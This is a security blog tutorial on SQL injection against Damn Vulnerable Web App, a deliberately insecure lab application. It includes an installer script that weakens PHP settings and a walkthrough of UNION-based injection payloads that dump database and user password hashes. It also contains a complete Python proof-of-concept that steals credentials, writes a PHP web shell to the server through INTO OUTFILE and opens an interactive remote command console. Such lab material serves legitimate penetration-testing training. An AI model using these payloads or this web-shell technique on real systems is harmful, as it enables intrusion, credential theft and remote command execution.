Damn Vulnerable Web App – SQL Injection

Introduction

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable and can be exploited easily.Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a lab environment.

Warning!

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider’s public_html folder or any working web server as it will be hacked. I recommend downloading and installing XAMPP onto a local machine inside your LAN which is used solely for testing.
We do not take responsibility for the way in which any one uses Damn Vulnerable Web App (DVWA). We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is not our responsibility it is the responsibility of the person who uploaded and installed it.

Installation

Generally we need XAMPP server to setup damn vulnerable web application but XAMPP server is nothing but a collection of Apache, SQL, Perl, PHP, OpenSSL and other server side software’s but BackTrack 5 has all of these software’s installed. It means there is no need to install XAMPP on backtrack machine. All you need to do is to get Damn Vulnerable Web App and put it on the root directory of BackTrack 5.

A wonderful bash script is available that automate all the process. Thanks to: Travis Phillips.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#/bin/bash
echo ""
echo "############################################"
echo "# Damn Vulnerable Web App Installer Script #"
echo "############################################"
echo "Coded By: Travis Phillips"
echo "Website: http://theunl33t.blogspot.com\n"
echo "Modified By: Ashfaq Ansari\n"
echo "Website: http://hacksys.vfreaks.com\n"

echo "[*] Changing directory to /var/www..."
cd /var/www > /dev/null
echo -e "Done!\n"

echo -n "[*] Creating DVWA directory..."
mkdir dvwa > /dev/null
echo -e "Done!\n"

echo -n "[*] Changing to Temp Directory..."
cd /tmp
echo -e "Done!\n"

echo "[*] Downloading DVWA..."
wget http://voxel.dl.sourceforge.net/project/dvwa/DVWA-1.0.7.zip
echo -e "Done!\n"

echo -n "[*] Unzipping DVWA..."
unzip DVWA-1.0.7.zip > /dev/null
echo -e "Done!\n"

echo -n "[*] Deleting the zip file..."
rm DVWA-1.0.7.zip > /dev/null
echo -e "Done!\n"

echo -n "[*] Copying dvwa to root of Web Directory..."
cp -R dvwa/* /var/www/dvwa > /dev/null
echo -e "Done!\n"

echo -n "[*] Clearing Temp Directory..."
rm -R dvwa > /dev/null
echo -e "Done!\n"

echo -n "[*] Enabling Remote include in php.ini..."
cp /etc/php5/apache2/php.ini /etc/php5/apache2/php.ini1
sed -e 's/allow_url_include = Off/allow_url_include = On/' /etc/php5/apache2/php.ini1 > /etc/php5/apache2/php.ini
rm /etc/php5/apache2/php.ini1
echo -e "Done!\n"

echo -n "[*] Enabling write permissions to /var/www/dvwa/hackable/upload..."
chmod 777 /var/www/dvwa/hackable/uploads/
echo -e "Done!\n"

echo -n "[*] Starting Web Service..."
service apache2 start &> /dev/null
echo -e "Done!\n"

echo -n "[*] Starting MySQL..."
service mysql start &> /dev/null
echo -e "Done!\n"

echo -n "[*] Updating Config File..."
cp /var/www/dvwa/config/config.inc.php /var/www/dvwa/config/config.inc.php1
sed -e 's/'\'\''/'\''toor'\''/' /var/www/dvwa/config/config.inc.php1 > /var/www/dvwa/config/config.inc.php
rm /var/www/dvwa/config/config.inc.php1
echo -e "Done!\n"

echo -n "[*] Updating Database..."
wget --post-data "create_db=Create / Reset Database" http://127.0.0.1/dvwa/setup.php &> /dev/null
mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/gordonb.jpg" where user = "gordonb";'
mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/smithy.jpg" where user = "smithy";'
mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/admin.jpg" where user = "admin";'
mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/pablo.jpg" where user = "pablo";'
mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/1337.jpg" where user = "1337";'
echo -e "Done!\n"

echo -e -n "[*] Starting Firefox to DVWA\nUserName: admin\nPassword: password"
firefox http://127.0.0.1/dvwa/login.php &> /dev/null &
echo -e "\nDone!\n"
echo -e "[\033[1;32m*\033[1;37m] DVWA Install Finished!\n"

DVWA is installed successfully, let’s move to SQL Injection. There are three SQL Injection levels on the Damn Vulnerable Web Application (Low, Medium and High). In this post we will explain how to defeat the Low level.

Vulnerable Code

1
2
3
4
5
6
$id=$_GET['id'];

$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('
<pre>'
. mysql_error() . '</pre>
'
);

The above code is vulnerable to SQL Injection. As you can see there is no sanitization used, the variable is simply inserted straight into the SQL query.

Let’s confirm whether it is vulnerable to SQL Injection:

UserID: ‘

The page returned the following error message:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ””’ at line 1

This confirms that it is vulnerable to SQL Injection, first thing to do is find out how many columns there are:

UserID: ‘ ORDER BY 1#
UserID: ‘ ORDER BY 2#

These simply return the same page.

UserID: ‘ ORDER BY 3#

Then this gives us an invaluable error message:

Unknown column ‘3’ in ‘order clause’

Hence, there are two columns, which are obviously the first_name and last_name columns as when you pass the UserID: form a valid User ID (1) for example you get this:

ID: 1
First name: admin
Surname: admin

Right, now its time to find out the database name, table name, column name and anything else useful and interesting. First thing first let’s find out the database version:

ID: ‘ UNION ALL SELECT 1,@@VERSION#
First name: 1
Surname: 5.1.41-3ubuntu12.10

So it is using MySQL 5.1.41-3 on Ubuntu. Lets find the user the database is running as and the name of the database we are dealing with:

ID: ‘ UNION ALL SELECT user(),database()#
First name: root@localhost
Surname: dvwa

The database user is root and the database we are concerned with is dvwa. Since the user is root let’s dump MySQL hash:

ID: ‘ UNION ALL SELECT user,password FROM mysql.user#
First name: root
Surname: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT user,password FROM mysql.user#
First name: root
Surname: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT user,password FROM mysql.user#
First name: root
Surname: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT user,password FROM mysql.user#
First name: debian-sys-maint
Surname: *8C4C424D182238AFBA8B217F692D07C952EF4087

ID: ‘ UNION ALL SELECT user,password FROM mysql.user#
First name: root
Surname: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT user,password FROM mysql.user#
First name: admin
Surname: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Wow! We got the root passord hash. We can use John The Ripper to crack the hash.

We know the database name is dvwa. Let’s find out the table name:

ID: ‘ UNION ALL SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema LIKE ‘%dvwa%’ #
First name: dvwa
Surname: guestbook

ID: ‘ UNION ALL SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema LIKE ‘%dvwa%’ #
First name: dvwa
Surname: users

There are two tables in dvwa database named as guestbook and users

Now, let’s find columns in users table.

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns WHERE table_schema LIKE ‘%dvwa%’ #
First name: dvwa
Surname: comment_id

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns WHERE table_schema LIKE ‘%dvwa%’ #
First name: dvwa
Surname: comment

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns WHERE table_schema LIKE ‘%dvwa%’ #
First name: dvwa
Surname: name

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns WHERE table_schema LIKE ‘%dvwa%’ #
First name: dvwa
Surname: user_id

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns WHERE table_schema LIKE ‘%dvwa%’ #
First name: dvwa
Surname: first_name

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns WHERE table_schema LIKE ‘%dvwa%’ #
First name: dvwa
Surname: last_name

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns WHERE table_schema LIKE ‘%dvwa%’ #
First name: dvwa
Surname: user

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns WHERE table_schema LIKE ‘%dvwa%’ #
First name: dvwa
Surname: password

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns WHERE table_schema LIKE ‘%dvwa%’ #
First name: dvwa
Surname: avatar

Awesome, let’s dump the username and password from dvwa.users table. Here we go.

ID: ‘ UNION ALL SELECT user, password FROM dvwa.users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ‘ UNION ALL SELECT user, password FROM dvwa.users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ‘ UNION ALL SELECT user, password FROM dvwa.users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ‘ UNION ALL SELECT user, password FROM dvwa.users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ‘ UNION ALL SELECT user, password FROM dvwa.users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Job done. We have successfully dumped the user credentials. We may crack them using any MD5 hash cracker.

HackSys Team has created a PoC in Python that aids in the automated SQL Injection on DVWA and gives a shell prompt where we can run regular shell commands.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#!/usr/bin/python
#________________________________________________                                          
#    Damn Vulnerable Web Application - DVWA                                                
#     SQL Injection Exploit to RCE - PoC                                                      
#   by Ashfaq Ansari (hacksysteam@hotmail.com)                                            
#                                                                                          
#            (__)                                                                          
#            (oo)   http://hacksys.vfreaks.com/                                            
#     /-------\/                                                                          
#    / |     ||                                                                            
#   *  ||----||                                                                            
#      ~~    ~~  Power by HackSys Team - Panthera                                          
#________________________________________________                                          
#
import sys, socket, urllib, re, urllib2, getpass, string, time, random, base64
from optparse import OptionParser
from cookielib import CookieJar

descLogo = """
________________________________________________

     Damn Vulnerable Web Application - DVWA
           SQL Injection to RCE - PoC  
   by Ashfaq Ansari (hacksysteam@hotmail.com)

            (__)
            (oo)  http://hacksys.vfreaks.com/
     /-------\/
    / |     ||
   *  ||----||
      ~~    ~~ Power by HackSys Team - Panthera
________________________________________________

"""


#Color variables to be used with print command
RED  = "\033[31m" # red
GREEN  = "\033[32m" # green
WHITE  = "\033[0m" # white
CYAN = "\033[36m" #cyan
PURPLE = "\033[35m" #purple

#Variables
urlStart = "vulnerabilities/sqli/index.php?id="
urlEnd = "&Submit=Submit"
shellName = "fd7cb4cb0031ba249"
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
    "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
    "Google Chrome 0.2.149.29 (Windows XP)",
    "Opera 9.25 (Windows Vista)",
    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
    "Opera/8.00 (Windows NT 5.1; U; en)"]
agent = random.choice(agents)


#Usage help summary
usage = CYAN + "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.15:8080 -d /dvwa/"

#Parser options
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="dirPath",
                  help="Directory path to the Damn Vulnerable Web App")
(options, args) = parser.parse_args()


#Typing Text - Just for fun
def typingText(textMessage, color):
 
  try:
    for i in textMessage:
      print color + "\b%s"%i,
      sys.stdout.flush()
      time.sleep(0.020)
  except:
    pass
 

if len(sys.argv) < 5:
    typingText(descLogo, PURPLE)
    parser.print_help()
    sys.exit(1)
   

#Proxy handler
def getProxy():
 
    try:
        proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
    except(socket.timeout):
            print RED + "\tProxy timed out...\n"
            sys.exit(1)
    return proxy_handler


#Test proxy connection
def testProxy():
 
    print(CYAN + "[+] Testing proxy @ %s..." % (options.proxy))
    opener = urllib2.build_opener(getProxy())
   
    try:
      check = opener.open("http://www.google.com").read()
    except:
      check = 0
      pass
   
    if check >= 1:
      print(GREEN + "\tProxy is found to be working...\n")
    else:
      print RED + "\tProxy failed... Exiting!\n"
      sys.exit(1)


#Get the Response from the server
def getServerResponse(cj, targetURL, data):
     
    if options.proxy:
      try:
    opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
    opener.addheaders = [('User-agent', agent)]
    check = opener.open(targetURL, data).read()
    return check
      except:
    print (RED + "\tProxy connection failed to remote target...\n")
    sys.exit(1)
    else:
      try:
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    opener.addheaders = [('User-agent', agent)]
    check = opener.open(targetURL, data).read()
    return check
      except:
    print (RED + "\tTarget connection failed, check your address...\n")
    sys.exit(1)


#Try to login to Damn Vulnerable Web Application
def doLogin():
 
    print(CYAN + "[+] Trying to login to DVWA...")
    targetURL = "http://" + options.target + options.dirPath + "login.php"
    values = {'username' : 'admin', 'password' : 'password', 'Login' : 'Login'}
    data = urllib.urlencode(values)
    cj = CookieJar()
   
    #Get the response from the server and store it in a variable
    respHTML = getServerResponse(cj, targetURL, data)
       
    if not re.search("Login failed", respHTML):
      time.sleep(1)
      typingText("\tAuthentication successful...\n\n", GREEN)
      return cj
    else:
      time.sleep(1)
      typingText("\tAuthentication denied! Exiting...\n\n\n", RED)
      sys.exit(1)


#Try to tamperthe security level of Damn Vulnerable Web Application
def lowSecurity(adminCookie):
 
    print(CYAN + "[+] Tampering the security of DVWA...")
    targetURL = "http://" + options.target + options.dirPath + "security.php"
    values = {'security' : 'low', 'seclev_submit' : 'Submit'}
    data = urllib.urlencode(values)
    cj = adminCookie #Use the cookie returned from doLogin() function
   
    #Get the response from the server and store it in a variable
    respHTML = getServerResponse(cj, targetURL, data)
   
    if re.search("Security Level is currently <em>low</em>", respHTML):
      time.sleep(1)
      typingText("\tSecurity level successful set to LOW...\n\n", GREEN)
    else:
      time.sleep(1)
      typingText("\tUnable to tamper security level! Exiting...\n\n", RED)
      sys.exit(1)


#Check if the target is vulnerable to SQL injection
def testSQLinjection(adminCookie):
 
    print(CYAN + "[+] Checking if the target is vulnerable...")
    injection_url = "1'"
    targetURL = "http://" + options.target + options.dirPath + urlStart + injection_url + urlEnd
    data = ""
   
    cj = adminCookie #Use the cookie returned from doLogin() function

    #Get the response from the server and store it in a variable
    respHTML = getServerResponse(cj, targetURL, data)
   
    if re.search("error in your SQL syntax", respHTML):
      time.sleep(1)
      typingText("\tw00t -- Target found to be vulnerable...\n\n", GREEN)
    else:
      time.sleep(1)
      typingText("\to00w -- Target is not vulnerable! Exiting...\n\n", RED)    
      sys.exit(1)


#Find MySQL details
def findMySQLInfo(adminCookie):
 
    print(CYAN + "[+] Retriving MySQL information...")
    injection_url = "1'+UNION+ALL+SELECT+concat_ws(0x3b,0x4861636b537973205465616d,user(),database(),version(),0x4861636b537973205465616d)%2C2%3B%23"
    targetURL = "http://" + options.target + options.dirPath + urlStart + injection_url + urlEnd
    data = ""
   
    cj = adminCookie #Use the cookie returned from doLogin() function

    #Get the response from the server and store it in a variable
    respHTML = getServerResponse(cj, targetURL, data)
   
    # Now extract the interesting information
    get_secret_data = string.find(respHTML,  "HackSys Team")
     
    # If  the target is not vulnerable exit
    if get_secret_data == -1:
        typingText("\tExploitation failed. Exiting now...\n\n", RED)
        sys.exit(1)
         
    get_secret_data += 10
    new_html4= respHTML[get_secret_data :]
    new_get_secret_data4 = string.find(new_html4,  "HackSys Team")
    new_html_5 = new_html4[:new_get_secret_data4]
             
    # Data was received, now format and display it
    formatted_output = str.split(new_html_5,  ";")
    time.sleep(1)
    print GREEN + "\tMySQL Database      : ",  formatted_output[2]
    print GREEN + "\tMySQL Version       : ",  formatted_output[3]
    print GREEN + "\tMySQL Database User : ",  formatted_output[1]
    print ""
    return


#Try to number of records in users table
def findNoOfRecordsInTable(adminCookie):
       
    injection_url = "1'+UNION+ALL+SELECT+1%2C+COUNT(*)+from+users%3B%23"
    targetURL = "http://" + options.target + options.dirPath + urlStart + injection_url + urlEnd
    data = ""
   
    cj = adminCookie #Use the cookie returned from doLogin() function

    #Get the response from the server and store it in a variable
    respHTML = getServerResponse(cj, targetURL, data)
   
    # Now extract the interesting information
    get_secret_data = string.find(respHTML,  "<br>Surname:")
    get_secret_data += 40    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = string.find(new_html,  "</pre>\r\n\r\n\t</div>")  
    new_html_2 = new_html[:new_get_secret_data]

    # Data was received, now format and display it
    formatted_output = str.split(new_html_2,  ": ")
    return formatted_output[2]
   

#Try to dump the username name and password from users table
def findUserPasswords(adminCookie, index):
 
    injection_url = "1'+UNION+ALL+SELECT+1%2C+concat_ws(0x3b%2C0x4861636b537973205465616d%2Cuser_id%2Cfirst_name%2Clast_name%2Cuser%2Cpassword%2C0x4861636b537973205465616d)+FROM+users+LIMIT+" + str(index) + "%2C30%3B%23"
    targetURL = "http://" + options.target + options.dirPath + urlStart + injection_url + urlEnd
    data = ""
   
    cj = adminCookie #Use the cookie returned from doLogin() function

    #Get the response from the server and store it in a variable
    respHTML = getServerResponse(cj, targetURL, data)
   
    # Now extract the interesting information
    get_secret_data = string.find(respHTML,  "HackSys Team")
    get_secret_data += 10    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = string.find(new_html,  "HackSys Team")    
    new_html_2 = new_html[:new_get_secret_data]

    # Data was received, now format and display it
    formatted_output = str.split(new_html_2,  ";")
    time.sleep(1)
    print GREEN + "\tUser ID       : ",  formatted_output[1]
    print GREEN + "\tFirst Name    : ",  formatted_output[2]
    print GREEN + "\tLast Name     : ",  formatted_output[3]
    print GREEN + "\tUsername      : ",  formatted_output[4]
    print GREEN + "\tPassword Hash : ",  formatted_output[5]
    print ""


#Try to upload a tinyShell for interactive attack
def uploadShellViaSQLi(adminCookie):
 
    print(CYAN + "[+] Uploading Shell via SQLi...")
   
    #XAMPP On Windows XP
    #injection_url = "1%27+UNION+SELECT+%27%27%2C+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+INTO+OUTFILE+%27C%3A%5C%5Cxampp%5C%5Chtdocs%5C%5Cdvwa%5C%5Cshell.php%27%3B%23"

    #Linux
    injection_url = "1%27+UNION+ALL+SELECT+%27%27%2C+%27%3C%3Fphp+system(base64_decode(%24_GET[%22cmd%22%5D%29%29%3B+%3F%3E%27+INTO+OUTFILE+%27%2Fvar%2Fwww%2Fdvwa%2F" + shellName + ".php%27%3B%23"
   
    targetURL = "http://" + options.target + options.dirPath + urlStart + injection_url + urlEnd
    data = ""
   
    cj = adminCookie #Use the cookie returned from doLogin() function

    #Get the response from the server and store it in a variable
    respHTML = getServerResponse(cj, targetURL, data)

    if re.search("<h3>User ID:</h3>", respHTML):
      time.sleep(1)
      typingText("\tw00t -- Shell uploaded successfully...\n\n", GREEN)
    elif re.search("already exists</pre>", respHTML):
      time.sleep(1)
      typingText("\tw00t -- Shell already exists...\n\n", GREEN)  
    else:
      time.sleep(1)
      typingText("\to00w -- Unable to upload the shell...\n\n", RED)
      sys.exit(1)


#Start interactive attack session
def interactiveAttack(adminCookie):
 
  print CYAN + "[+] Entering interactive remote console (q for quit)\n" + WHITE + "\n  HackSys Team - Panthera\n   Author: Ashfaq Ansari\n  hacksysteam@hotmail.com\n http://hacksys.vfreaks.com/\n\n"
  hn = GREEN + "%s@%s# " % (getpass.getuser(), options.target) + WHITE
  cmd = ""
  data = ""
  cj = adminCookie
  while cmd != 'q':
    try:
      cmd = raw_input(hn)
      cmd64 = base64.b64encode(cmd)      
      targetURL = ("http://%s%s%s.php?cmd=%s" % (options.target, options.dirPath, shellName, cmd64))
      resp = getServerResponse(cj, targetURL, cmd64)
      shellOutput = resp.split("admin")
      print WHITE + shellOutput[2]
    except:
      break
 
  # suicide
  rmShell = base64.b64encode("rm %s.php" % (shellName))
  targetURL = ("http://%s%s%s.php?cmd=%s" % (options.target, options.dirPath, shellName, rmShell))
  resp = getServerResponse(cj, targetURL, rmShell)

     
#Main function      
def main():
 
  #Print the banner in Typing Text style
  typingText(descLogo, PURPLE)
 
  #Check and connect proxy server if specified using -p argument
  if options.proxy:
    testProxy()

  #Grab the admin cookie
  adminCookie = doLogin()
 
  #Tamper the security level
  lowSecurity(adminCookie)
 
  #Test SQL injection vulnerability
  testSQLinjection(adminCookie)
 
  #Dump MySQL details
  findMySQLInfo(adminCookie)
 
  #Find Number of records in users table
  totalRecords = int(findNoOfRecordsInTable(adminCookie))
 
  print(CYAN + "[+] Retriving Username and Passwords...")
 
  for index in range(1,totalRecords+1):
    #Dump use passwords
    findUserPasswords(adminCookie, index)
 
  #Upload the tinyShell
  uploadShellViaSQLi(adminCookie)
 
  #Start interactive attack
  interactiveAttack(adminCookie)
 
if __name__ == "__main__":
    main()

Download Damn Vulnerable Web App – SQL Injection PoC

 

[tweet2download file=”DVWA_SQLi.zip” tweet=”#DVWASQLI Damn Vulnerable Web App SQLi PoC. %%post-url%%” follow=”@HackSysTeam” /]

 
Thank you for taking your time to read this post. If you face any issue, please feel free to write to us at: hacksysteam@hotmail.com

 
 

183,732 total views, 5 views today

The following two tabs change content below.

Ashfaq Ansari

Security Researcher
Ashfaq Ansari is the founder of HackSys Team code named "Panthera". He is a Security Researcher with experience in various aspects of Information Security. He has authored "HackSys Extreme Vulnerable Driver" and "Shellcode of Death". He has also written and published various whitepapers on low level software exploitation. His core interest lies in "Low Level Exploitation", "Reverse Engineering", "Program Analysis" and "Hybrid Fuzzing". He is a fanboy of Artificial Intelligence and Machine Learning. He is the chapter lead for null Pune.

Latest posts by Ashfaq Ansari (see all)

No Responses to “Damn Vulnerable Web App – SQL Injection”

Trackbacks/Pingbacks

  1. Damn Vulnerable Web App – Local File Inclusion (LFI) | HackSys Team - Computer Security Research, Penetration Testing, Ethical Hacking, Windows Technical Support - [...] you have not read the first part, here is the link: http://hacksys.vfreaks.com/pen-testing/damn-vulnerable-web-app-sql-injection.html [...]

Leave a Reply

Your email address will not be published. Required fields are marked *